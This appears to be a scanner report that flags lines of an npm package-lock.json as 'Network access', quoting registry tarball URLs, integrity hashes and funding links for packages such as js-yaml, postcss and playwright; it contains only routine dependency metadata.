"version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - Network accessline 2939
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - Network accessline 2944
"node_modules/js-yaml": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - Network accessline 2945
"version": "4.1.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - Network accessline 2946
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - Network accessline 2957
"node_modules/jsesc": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - Network accessline 2958
"version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", - Network accessline 2959
"resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - Network accessline 2970
"node_modules/json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - Network accessline 2971
"version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - Network accessline 2972
"resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - Network accessline 2977
"node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - Network accessline 2978
"version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - Network accessline 2979
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - Network accessline 2984
"node_modules/json-stable-stringify-without-jsonify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - Network accessline 2985
"version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1 - Network accessline 2986
"resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - Network accessline 2991
"node_modules/json5": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - Network accessline 2992
"version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - Network accessline 2993
"resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - Network accessline 3004
"node_modules/keyv": { "version": "4.5.4", "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - Network accessline 3005
"version": "4.5.4", "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - Network accessline 3006
"resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - Network accessline 3014
"node_modules/levn": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - Network accessline 3015
"version": "0.4.1", "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - Network accessline 3016
"resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - Network accessline 3028
"node_modules/lilconfig": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", - Network accessline 3029
"version": "3.1.3", "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", - Network accessline 3030
"resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", - Network accessline 3036
}, "funding": { "url": "https://github.com/sponsors/antonk52" - Network accessline 3037
"funding": { "url": "https://github.com/sponsors/antonk52" } - Network accessline 3038
"url": "https://github.com/sponsors/antonk52" - Network accessline 3041
"node_modules/lines-and-columns": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - Network accessline 3042
"version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", - Network accessline 3043
"resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - Network accessline 3048
"node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - Network accessline 3049
"version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - Network accessline 3050
"resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - Network accessline 3059
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3060
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3061
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3064
"node_modules/lodash.merge": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - Network accessline 3065
"version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - Network accessline 3066
"resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - Network accessline 3071
"node_modules/lru-cache": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - Network accessline 3072
"version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - Network accessline 3073
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - Network accessline 3081
"node_modules/lucide-react": { "version": "0.577.0", "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz", - Network accessline 3082
"version": "0.577.0", "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz", "integrity": "sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==", - Network accessline 3083
"resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz", - Network accessline 3090
"node_modules/marked": { "version": "14.0.0", "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz", - Network accessline 3091
"version": "14.0.0", "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz", "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==", - Network accessline 3092
"resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz", - Network accessline 3103
"node_modules/merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - Network accessline 3104
"version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - Network accessline 3105
"resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - Network accessline 3113
"node_modules/micromatch": { "version": "4.0.8", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - Network accessline 3114
"version": "4.0.8", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - Network accessline 3115
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - Network accessline 3127
"node_modules/minimatch": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - Network accessline 3128
"version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", - Network accessline 3129
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - Network accessline 3140
"node_modules/monaco-editor": { "version": "0.55.1", "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz", - Network accessline 3141
"version": "0.55.1", "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz", "integrity": "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==", - Network accessline 3142
"resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz", - Network accessline 3151
"node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 3152
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 3153
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 3158
"node_modules/mz": { "version": "2.7.0", "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", - Network accessline 3159
"version": "2.7.0", "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", - Network accessline 3160
"resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", - Network accessline 3170
"node_modules/nanoid": { "version": "3.3.19", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz", - Network accessline 3171
"version": "3.3.19", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz", "integrity": "sha512-Y2tUNy4ouw6tq5oDSKeQYGOyhkUBhNOcGV/02KC+6kd9eDGqdZd++mjMiIDilrBYvjEnCYvVtsuHCuP+okSfug==", - Network accessline 3172
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz", - Network accessline 3176
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3177
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3178
"url": "https://github.com/sponsors/ai" - Network accessline 3189
"node_modules/natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - Network accessline 3190
"version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - Network accessline 3191
"resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - Network accessline 3196
"node_modules/node-releases": { "version": "2.0.57", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz", - Network accessline 3197
"version": "2.0.57", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz", "integrity": "sha512-kQK9LGGFiHtrWiNhZtA7Qbw17AQz+dmsEKODRIVTXA9+e5MS/2gZEBhYJt13GrAz5/IOZKddH/0Z3TP/Zgo+yw==", - Network accessline 3198
"resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz", - Network accessline 3206
"node_modules/normalize-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - Network accessline 3207
"version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - Network accessline 3208
"resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - Network accessline 3216
"node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - Network accessline 3217
"version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - Network accessline 3218
"resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - Network accessline 3226
"node_modules/object-hash": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", - Network accessline 3227
"version": "3.0.0", "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", - Network accessline 3228
"resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", - Network accessline 3236
"node_modules/optionator": { "version": "0.9.4", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - Network accessline 3237
"version": "0.9.4", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - Network accessline 3238
"resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - Network accessline 3254
"node_modules/p-limit": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - Network accessline 3255
"version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - Network accessline 3256
"resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - Network accessline 3265
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3266
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3267
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3270
"node_modules/p-locate": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - Network accessline 3271
"version": "5.0.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - Network accessline 3272
"resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - Network accessline 3281
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 3282
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 3283
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 3286
"node_modules/parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - Network accessline 3287
"version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - Network accessline 3288
"resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - Network accessline 3299
"node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - Network accessline 3300
"version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - Network accessline 3301
"resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - Network accessline 3309
"node_modules/path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - Network accessline 3310
"version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - Network accessline 3311
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - Network accessline 3319
"node_modules/path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - Network accessline 3320
"version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - Network accessline 3321
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - Network accessline 3326
"node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 3327
"version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - Network accessline 3328
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - Network accessline 3333
"node_modules/picomatch": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - Network accessline 3334
"version": "2.3.1", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - Network accessline 3335
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - Network accessline 3341
}, "funding": { "url": "https://github.com/sponsors/jonschlinkert" - Network accessline 3342
"funding": { "url": "https://github.com/sponsors/jonschlinkert" } - Network accessline 3343
"url": "https://github.com/sponsors/jonschlinkert" - Network accessline 3346
"node_modules/pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - Network accessline 3347
"version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", - Network accessline 3348
"resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - Network accessline 3356
"node_modules/pirates": { "version": "4.0.7", "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", - Network accessline 3357
"version": "4.0.7", "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", - Network accessline 3358
"resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", - Network accessline 3366
"node_modules/playwright": { "version": "1.63.0", "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz", - Network accessline 3367
"version": "1.63.0", "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz", "integrity": "sha512-+7ziBLidS4NaNCdt57SUDT+wYmmd5fmiQejUic/kb+YsYSCPyOOE9sebzMjNmQrsnNpDJqd4WHvV/8lfKfUDUg==", - Network accessline 3368
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz", - Network accessline 3382
"node_modules/playwright-core": { "version": "1.63.0", "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz", - Network accessline 3383
"version": "1.63.0", "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz", "integrity": "sha512-rYCsBF/M5HjUch52bbtVONEFjv6Xu8sm8h72dNlR5bzIE1fvC/bxgspzkjSfU+MweEMmPM8KJebG6nnyxo5mCg==", - Network accessline 3384
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz", - Network accessline 3395
"node_modules/postcss": { "version": "8.5.28", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", - Network accessline 3396
"version": "8.5.28", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", "integrity": "sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==", - Network accessline 3397
"resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", - Network accessline 3401
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 3402
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 3403
"url": "https://opencollective.com/postcss/" - Network accessline 3405
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" - Network accessline 3406
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" }, - Network accessline 3407
"url": "https://tidelift.com/funding/github/npm/postcss" - Network accessline 3409
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3410
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3411
"url": "https://github.com/sponsors/ai" - Network accessline 3424
"node_modules/postcss-import": { "version": "15.1.0", "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", - Network accessline 3425
"version": "15.1.0", "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", - Network accessline 3426
"resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", - Network accessline 3442
"node_modules/postcss-js": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", - Network accessline 3443
"version": "4.1.0", "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", - Network accessline 3444
"resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", - Network accessline 3448
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 3449
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 3450
"url": "https://opencollective.com/postcss/" - Network accessline 3452
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3453
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3454
"url": "https://github.com/sponsors/ai" - Network accessline 3468
"node_modules/postcss-load-config": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", - Network accessline 3469
"version": "6.0.1", "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", - Network accessline 3470
"resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", - Network accessline 3474
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 3475
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 3476
"url": "https://opencollective.com/postcss/" - Network accessline 3478
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3479
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3480
"url": "https://github.com/sponsors/ai" - Network accessline 3511
"node_modules/postcss-nested": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", - Network accessline 3512
"version": "6.2.0", "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", - Network accessline 3513
"resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", - Network accessline 3517
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 3518
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 3519
"url": "https://opencollective.com/postcss/" - Network accessline 3521
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3522
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3523
"url": "https://github.com/sponsors/ai" - Network accessline 3537
"node_modules/postcss-selector-parser": { "version": "6.1.2", "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - Network accessline 3538
"version": "6.1.2", "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIud - Network accessline 3539
"resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - Network accessline 3551
"node_modules/postcss-value-parser": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - Network accessline 3552
"version": "4.2.0", "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - Network accessline 3553
"resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - Network accessline 3558
